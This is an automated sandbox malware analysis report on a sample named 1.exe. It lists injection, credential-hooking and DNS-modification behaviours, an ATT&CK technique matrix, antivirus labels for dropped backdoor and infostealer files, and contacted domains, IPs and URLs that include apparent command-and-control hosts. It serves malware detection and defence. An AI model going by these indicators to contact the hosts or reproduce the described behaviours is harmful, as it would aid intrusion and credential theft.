Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior

Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Code function: 2_2_6A08BC3B __lock,__get_daylight,__invoke_watson,__get_daylight,__invoke_watson,__get_daylight,__invoke_watson,____lc_codepage_func,__getenv_helper_nolock,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,__invoke_watson,SetOaNoCache,__invoke_watson,

2_2_6A08BC3B

Stealing of Sensitive Information

Modifies the DNS server

Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Registry value created: 8.8.8.8,114.114.114.114			Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Registry value created: 8.8.8.8,114.114.114.114			Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Command and Scripting Interpreter	32 Windows Service	32 Windows Service	22 Masquerading	1 Credential API Hooking	1 System Time Discovery	Remote Services	1 Credential API Hooking	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Service Execution	1 DLL Side-Loading	411 Process Injection	2 Modify Registry	LSASS Memory	321 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	3 Virtualization/Sandbox Evasion	Security Account Manager	3 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	411 Process Injection	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Software Packing	Cached Domain Credentials	3 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	131 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 File Deletion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1.exe	37%	ReversingLabs
1.exe	29%	Virustotal		Browse
1.exe	100%	Avira	HEUR/AGEN.1315452
1.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\E392A1673\7D853zyts.dll	100%	Avira	TR/Inject.zdewt
C:\Users\user\Desktop\I5F4E5C2742\B71793\8541KG870.dll	100%	Avira	HEUR/AGEN.1328190
C:\Users\user\Desktop\I5F4E5C2742\G8B0663\7599UTVWP.dll	100%	Avira	HEUR/AGEN.1328190
C:\Windows\SysWOW64\5942hcVWR.sys	100%	Avira	HEUR/AGEN.1360134
C:\Windows\F7BE15F.sys	100%	Avira	HEUR/AGEN.1360134
C:\Windows\SysWOW64\A633favQv.sys	100%	Avira	HEUR/AGEN.1360134
C:\Windows\SysWOW64\4CE0zvyEH.sys	100%	Avira	HEUR/AGEN.1360134
C:\Users\user\Desktop\I5F4E5C2742\A474748937\6528PJMNM.dll	100%	Avira	HEUR/AGEN.1328196
C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\E392A1673\7D853zyts.dll	100%	Joe Sandbox ML
C:\Users\user\Desktop\I5F4E5C2742\B71793\8541KG870.dll	100%	Joe Sandbox ML
C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\F141FC6\4EE1UTOOM.dll	100%	Joe Sandbox ML
C:\Users\user\Desktop\I5F4E5C2742\G8B0663\7599UTVWP.dll	100%	Joe Sandbox ML
C:\Windows\SysWOW64\5942hcVWR.sys	100%	Joe Sandbox ML
C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\F141FC6\3E32331dd.dll	100%	Joe Sandbox ML
C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\E2E4B6B5\331FPNNPK.exe	100%	Joe Sandbox ML
C:\Windows\F7BE15F.sys	100%	Joe Sandbox ML
C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\I5F4E5C2742\EC942651\C903fcVWV.dll	100%	Joe Sandbox ML
C:\Windows\SysWOW64\A633favQv.sys	100%	Joe Sandbox ML
C:\Windows\SysWOW64\4CE0zvyEH.sys	100%	Joe Sandbox ML
C:\Users\user\Desktop\I5F4E5C2742\A474748937\6528PJMNM.dll	100%	Joe Sandbox ML
C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	13%	ReversingLabs
C:\Users\user\Desktop\I5F4E5C2742\A474748937\6528PJMNM.dll	85%	ReversingLabs	Win32.Trojan.CredentialAccess
C:\Users\user\Desktop\I5F4E5C2742\B71793\8541KG870.dll	78%	ReversingLabs	Win32.Backdoor.Zapchast
C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\DA3FA8746\50C7CA7B7.dll	5%	ReversingLabs
C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\E392A1673\7D853zyts.dll	61%	ReversingLabs	Win32.PUA.Presenoker
C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\ECAE159\5C13YSSUW.dll	0%	ReversingLabs
C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\F141FC6\3E32331dd.dll	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\F141FC6\4EE1UTOOM.dll	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\FEBDE290\6609QLNJK.dll	0%	ReversingLabs
C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\G46A21F683\93DBkmnlf.dll	11%	ReversingLabs
C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\HEF768\70ACtrsvy.dll	7%	ReversingLabs
C:\Users\user\Desktop\I5F4E5C2742\CECF542EE32\BA3CXXaVO.dll	0%	ReversingLabs
C:\Users\user\Desktop\I5F4E5C2742\DA6D75BF83C0\A9CDXQRQR.dll	0%	ReversingLabs
C:\Users\user\Desktop\I5F4E5C2742\EC942651\C903fcVWV.dll	54%	ReversingLabs	Win32.Trojan.Tnega
C:\Users\user\Desktop\I5F4E5C2742\ED90155A\976457BEB.dll	0%	ReversingLabs
C:\Users\user\Desktop\I5F4E5C2742\G8B0663\7599UTVWP.dll	78%	ReversingLabs	Win32.Backdoor.Zapchast
C:\Windows\SysWOW64\5942hcVWR.sys	83%	ReversingLabs	Win64.Infostealer.Tinba

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
www.jmw.com.cn	0%	Virustotal	Browse
so.seos-lb.com	1%	Virustotal	Browse
multi-az-www-api.kuaishou.com	0%	Virustotal	Browse
www.wshifen.com	0%	Virustotal	Browse
youdao.com	1%	Virustotal	Browse
qt0t6l4k.e0.sched.ovscdns.com	0%	Virustotal	Browse
ww1.sinaimg.cn.w.alikunlun.com	0%	Virustotal	Browse
lb.sinacloud.com	0%	Virustotal	Browse
opencdnka.jomodns.com	0%	Virustotal	Browse
www.sogou.com	1%	Virustotal	Browse
www.tencent.com.acc.edgeonedy1.com	0%	Virustotal	Browse
www.1688.com.danuoyi.tbcache.com	0%	Virustotal	Browse
sinacloud.net	5%	Virustotal	Browse
hao123.n.shifen.com	0%	Virustotal	Browse
foodmate.net	0%	Virustotal	Browse
dc3ee476.ovslegodl-dk.sched.ovscdns.com	0%	Virustotal	Browse
opencdnqczjv6.jomodns.com	0%	Virustotal	Browse
www.qq.com.eo.dnse2.com	0%	Virustotal	Browse
jd-abroad.cdn20.com	0%	Virustotal	Browse
www.tencent.com	1%	Virustotal	Browse
www.a.shifen.com	0%	Virustotal	Browse
xjp-adns.aliyun.com.vipgds.alibabadns.com	0%	Virustotal	Browse
www.baidu.com	1%	Virustotal	Browse
www.so.com	0%	Virustotal	Browse
www.1688.com	0%	Virustotal	Browse
www.jb51.net	0%	Virustotal	Browse
www.qq.com	1%	Virustotal	Browse
www.douyin.com	0%	Virustotal	Browse
soso.com	0%	Virustotal	Browse
www.cctv.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
http://www.duote.com/	0%	Avira URL Cloud	safe
http://115.28.91.235/api/fun.aspxnameU	0%	Avira URL Cloud	safe
http://time-time-dbvpvdlnog.cn-chengdu.fcapp.run	0%	Avira URL Cloud	safe
http://daofeng.8090cqg.com/res://ieframe.dll/dnserrordiagoff.htm#http://daofeng.8090cqg.com/Maliciou	0%	Avira URL Cloud	safe
http://www.mockplus.cn/	0%	Avira URL Cloud	safe
http://www.yunzhijia.com/	0%	Avira URL Cloud	safe
http://plugin1.config.hyocr.com:8080/apisvrs.php;http://plugin2.config.hyocr.com:8080/apisvrs.phpupl	0%	Avira URL Cloud	safe
http://588ku.com/	0%	Avira URL Cloud	safe
http://iwencai.com/	0%	Avira URL Cloud	safe
http://8.21	0%	Avira URL Cloud	safe
http://daofeng.8090cqg.com/z	0%	Avira URL Cloud	safe
http://wulancabucs.oss-accelerate.aliyuncs.com/	0%	Avira URL Cloud	safe
http://www.juming.com/	0%	Avira URL Cloud	safe
http://www.ksfm2.com	0%	Avira URL Cloud	safe
http://qingdaocs.oss-accelerate.aliyuncs.com/	0%	Avira URL Cloud	safe
http://www.jianguoyun.com/	0%	Avira URL Cloud	safe
http://daofeng.8090cqg.com/u	0%	Avira URL Cloud	safe
http://www.sina.com.cn/	0%	Avira URL Cloud	safe
http://www.kuaishou.com/	0%	Avira URL Cloud	safe
http://www.winshang.com/	0%	Avira URL Cloud	safe
http://daofeng.8090cqg.com/ll	0%	Avira URL Cloud	safe
http://daofeng.8090cqg.com/j	0%	Avira URL Cloud	safe
http://yanzheng.appchizi.com/	0%	Avira URL Cloud	safe
http://www.qiniu.com/	0%	Avira URL Cloud	safe
http://daofeng.8090cqg.com/b	0%	Avira URL Cloud	safe
http://1066951243755853.cn-huhehaote.fc.aliyuncs.com/2016-08-15/proxy/time.LATEST/time/	0%	Avira URL Cloud	safe
http://w7000.com/	0%	Avira URL Cloud	safe
http://www.ems.com.cn/	0%	Avira URL Cloud	safe
http://www.pcauto.com.cn/	0%	Avira URL Cloud	safe
http://crl.ver)	0%	Avira URL Cloud	safe
http://www.douyin.com/	0%	Avira URL Cloud	safe
http://ip.qq.com/v1-dll-api.jsdama.com	0%	Avira URL Cloud	safe
http://soso.com/	0%	Avira URL Cloud	safe
http://xianggangcs.oss-accelerate.aliyuncs.com/	0%	Avira URL Cloud	safe
http://daofeng.8090cqg.com/I	0%	Avira URL Cloud	safe
http://foodmate.net/	0%	Avira URL Cloud	safe
http://www.jb51.net/	0%	Avira URL Cloud	safe
http://www.kanzhun.com/	0%	Avira URL Cloud	safe
http://www.netease.com/	0%	Avira URL Cloud	safe
http://www.ih5.cn/	0%	Avira URL Cloud	safe
http://www.GeeM2.com	0%	Avira URL Cloud	safe
http://www.ichuanglan.com/	0%	Avira URL Cloud	safe
http://www.hichina.com/	0%	Avira URL Cloud	safe
http://huadongcs.oss-accelerate.aliyuncs.com/	0%	Avira URL Cloud	safe
http://www.sohu.com/	0%	Avira URL Cloud	safe
http://www.huawei.com/	0%	Avira URL Cloud	safe
http://8.212.11.147/	0%	Avira URL Cloud	safe
http://www.m6dlq.com/	0%	Avira URL Cloud	safe
http://www.youth.cn/	0%	Avira URL Cloud	safe
http://www.1688.com/	0%	Avira URL Cloud	safe
http://daofeng.8090cqg.com/C	0%	Avira URL Cloud	safe
http://www.solidot.org/	0%	Avira URL Cloud	safe
http://www.Haom6.comhttp://www.GeeM2.comWemade	0%	Avira URL Cloud	safe
http://119.29.29.29/d?dn=	0%	Avira URL Cloud	safe
http://www.xunlei.com/	0%	Avira URL Cloud	safe
http://www.imiker.com/	0%	Avira URL Cloud	safe
http://www.jmw.com.cn/	0%	Avira URL Cloud	safe
http://www.yidianzixun.com/	0%	Avira URL Cloud	safe
http://www.GameM2.com	0%	Avira URL Cloud	safe
http://ca800.com/	0%	Avira URL Cloud	safe
http://www.xitongzhijia.net/	0%	Avira URL Cloud	safe
http://shanghaics.oss-accelerate.aliyuncs.com/	0%	Avira URL Cloud	safe
http://www.bootcss.com/	0%	Avira URL Cloud	safe
http://www.eyuyan.com	0%	Avira URL Cloud	safe
http://www.ctrip.com/	0%	Avira URL Cloud	safe
http://xinics.oss-accelerate.aliyuncs.com/	0%	Avira URL Cloud	safe
http://daofeng.8090cqg.com/Vn	0%	Avira URL Cloud	safe
http://plugin1.config.hyocr.com:8080/apisvrs.php;http://plugin2.config.hyocr.com:8080/apisvrs.php	0%	Avira URL Cloud	safe
http://www.7k7k.com/	0%	Avira URL Cloud	safe
http://8.212.11.147/http://8.212.11.147/8.212.11.147	0%	Avira URL Cloud	safe
http://www.yiche.com/	0%	Avira URL Cloud	safe
http://www.jdwx.info/	0%	Avira URL Cloud	safe
http://www.i4.cn/	0%	Avira URL Cloud	safe
http://aq.cqyanzheng.com/	0%	Avira URL Cloud	safe
http://cs-g2-crl.thawte.com/ThawteCSG2.crl0	0%	Avira URL Cloud	safe
http://lusongsong.com/	0%	Avira URL Cloud	safe
http://www.ipo.hk/	0%	Avira URL Cloud	safe
http://xiaoman.cn/	0%	Avira URL Cloud	safe
http://dcloud.net.cn/	0%	Avira URL Cloud	safe
http://www.m6dlq.com/PEC2	0%	Avira URL Cloud	safe
http://zhangjiakoucs.oss-accelerate.aliyuncs.com/	0%	Avira URL Cloud	safe
http://time-time-bzyrqxranf.cn-shenzhen.fcapp.run	0%	Avira URL Cloud	safe
http://www.LongZuYQ.com	0%	Avira URL Cloud	safe
http://sinacloud.net/operate/	0%	Avira URL Cloud	safe
http://plugin.config.hyocr.com:8080/hyver.php?ver=%d&user=%s	0%	Avira URL Cloud	safe
http://www.chuangkit.com/	0%	Avira URL Cloud	safe
http://www.west.cn/	0%	Avira URL Cloud	safe
http://www.xm2m2.comwww.Askm2.comShanghai	0%	Avira URL Cloud	safe
http://www.iqiyi.com/	0%	Avira URL Cloud	safe
http://tower.im/	0%	Avira URL Cloud	safe
http://daofeng.8090cqg.com/oF_	0%	Avira URL Cloud	safe
http://www.miguvideo.com/	0%	Avira URL Cloud	safe
http://www.hudong.com/	0%	Avira URL Cloud	safe
http://www.ip138.com/	0%	Avira URL Cloud	safe
http://huanancs.oss-accelerate.aliyuncs.com/	0%	Avira URL Cloud	safe
http://www.Haom6.com	0%	Avira URL Cloud	safe
http://sinacloud.net/operate/24624	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daofeng.8090cqg.com	43.154.89.236	true	false		unknown
www.douyin.com.queniuyk.com	163.181.130.189	true	false		unknown
www.jmw.com.cn	47.94.225.221	true	false	0%, Virustotal, Browse	unknown
so.seos-lb.com	104.192.110.226	true	false	1%, Virustotal, Browse	unknown
eu-central-1-ds-2088.oss-acc.aliyuncs.com	47.254.187.186	true	false		unknown
multi-az-www-api.kuaishou.com	103.102.202.106	true	false	0%, Virustotal, Browse	unknown
g8450a5.usallient81.jiasula.vip	45.194.34.240	true	false		unknown
eu-central-1-ds-2085.oss-acc.aliyuncs.com	47.254.187.183	true	false		unknown
qt0t6l4k.e0.sched.ovscdns.com	43.159.70.125	true	false	0%, Virustotal, Browse	unknown
youdao.com	111.124.200.101	true	false	1%, Virustotal, Browse	unknown
www.wshifen.com	103.235.47.188	true	false	0%, Virustotal, Browse	unknown
ap-southeast-1-ds-2085.oss-acc.aliyuncs.com	161.117.242.89	true	false		unknown
lb.sinacloud.com	123.125.23.221	true	false	0%, Virustotal, Browse	unknown
www.cctv.com.wsglb0.com	163.171.208.133	true	false		unknown
sh2.general.proxy.sogou.com	49.51.130.237	true	false		unknown
www.sogou.com	119.28.109.132	true	false	1%, Virustotal, Browse	unknown
ww1.sinaimg.cn.w.alikunlun.com	163.181.201.236	true	false	0%, Virustotal, Browse	unknown
opencdnka.jomodns.com	113.219.142.35	true	false	0%, Virustotal, Browse	unknown
www.1688.com.danuoyi.tbcache.com	163.181.130.181	true	false	0%, Virustotal, Browse	unknown
www.tencent.com.acc.edgeonedy1.com	43.159.118.238	true	false	0%, Virustotal, Browse	unknown
sinacloud.net	27.221.16.149	true	false	5%, Virustotal, Browse	unknown
www.a.shifen.com	183.2.172.185	true	false	0%, Virustotal, Browse	unknown
foodmate.net	120.26.110.170	true	false	0%, Virustotal, Browse	unknown
www.eastmoney.com.w.cdngslb.com	47.246.46.226	true	false		unknown
xjp-adns.aliyun.com.vipgds.alibabadns.com	47.88.198.68	true	false	0%, Virustotal, Browse	unknown
ap-southeast-1-ds-2088.oss-acc.aliyuncs.com	161.117.242.92	true	false		unknown
www.qq.com.eo.dnse2.com	43.132.73.61	true	false	0%, Virustotal, Browse	unknown
hao123.n.shifen.com	103.235.46.98	true	false	0%, Virustotal, Browse	unknown
opencdnqczjv6.jomodns.com	61.163.9.35	true	false	0%, Virustotal, Browse	unknown
dc3ee476.ovslegodl-dk.sched.ovscdns.com	43.132.80.175	true	false	0%, Virustotal, Browse	unknown
jd-abroad.cdn20.com	163.171.132.119	true	false	0%, Virustotal, Browse	unknown
www.tencent.com	unknown	unknown	false	1%, Virustotal, Browse	unknown
www.qq.com	unknown	unknown	false	1%, Virustotal, Browse	unknown
www.so.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
www.douyin.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
www.baidu.com	unknown	unknown	false	1%, Virustotal, Browse	unknown
www.jb51.net	unknown	unknown	false	0%, Virustotal, Browse	unknown
www.1688.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
www.cctv.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
guangzhoucs.oss-accelerate.aliyuncs.com	unknown	unknown	false		unknown
soso.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
www.aliyun.com	unknown	unknown	false		unknown
www.autohome.com.cn	unknown	unknown	false		unknown
www.kuaishou.com	unknown	unknown	false		unknown
www.cdstm.cn	unknown	unknown	false		unknown
huadongcs.oss-accelerate.aliyuncs.com	unknown	unknown	false		unknown
www.jd.com	unknown	unknown	false		unknown
www.eastmoney.com	unknown	unknown	false		unknown
www.hupu.com	unknown	unknown	false		unknown
www.iqiyi.com	unknown	unknown	false		unknown
www.sina.com.cn	unknown	unknown	false		unknown
www.hao123.com	unknown	unknown	false		unknown
www.sinacloud.com	unknown	unknown	false		unknown
www.sohu.com	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.sina.com.cn/	false	Avira URL Cloud: safe	unknown
http://www.kuaishou.com/	false	Avira URL Cloud: safe	unknown
http://www.douyin.com/	false	Avira URL Cloud: safe	unknown
http://soso.com/	false	Avira URL Cloud: safe	unknown
http://foodmate.net/	false	Avira URL Cloud: safe	unknown
http://www.jb51.net/	false	Avira URL Cloud: safe	unknown
http://www.sohu.com/	false	Avira URL Cloud: safe	unknown
http://www.1688.com/	false	Avira URL Cloud: safe	unknown
http://www.jmw.com.cn/	false	Avira URL Cloud: safe	unknown
http://sinacloud.net/operate/24624	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.mockplus.cn/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.duote.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://8.21	F7BE15F582DD9.exe, 00000002.00000002.4579616746.0000000008D1A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://daofeng.8090cqg.com/res://ieframe.dll/dnserrordiagoff.htm#http://daofeng.8090cqg.com/Maliciou	F7BE15F582DD9.exe, 00000002.00000003.2577168938.0000000006674000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://588ku.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://time-time-dbvpvdlnog.cn-chengdu.fcapp.run	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://plugin1.config.hyocr.com:8080/apisvrs.php;http://plugin2.config.hyocr.com:8080/apisvrs.phpupl	50C7CA7B7.dll.2.dr	false	Avira URL Cloud: safe	unknown
http://www.yunzhijia.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://iwencai.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://115.28.91.235/api/fun.aspxnameU	F7BE15F582DD9.exe, 00000002.00000002.4621891774.000000000F0B0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.juming.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://wulancabucs.oss-accelerate.aliyuncs.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://daofeng.8090cqg.com/z	F7BE15F582DD9.exe, 00000002.00000002.4564756671.0000000003DC3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jianguoyun.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://qingdaocs.oss-accelerate.aliyuncs.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.winshang.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ksfm2.com	F7BE15F582DD9.exe, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp	false	Avira URL Cloud: safe	unknown
http://daofeng.8090cqg.com/u	F7BE15F582DD9.exe, 00000002.00000002.4564756671.0000000003DC3000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4579616746.0000000008CFA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://daofeng.8090cqg.com/j	F7BE15F582DD9.exe, 00000002.00000002.4564756671.0000000003DC3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://daofeng.8090cqg.com/ll	F7BE15F582DD9.exe, 00000002.00000002.4564756671.0000000003D72000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://yanzheng.appchizi.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.qiniu.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://daofeng.8090cqg.com/b	F7BE15F582DD9.exe, 00000002.00000002.4584992363.000000000E10C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ems.com.cn/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcauto.com.cn/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://daofeng.8090cqg.com/Z	F7BE15F582DD9.exe, 00000002.00000002.4564756671.0000000003DC3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://w7000.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
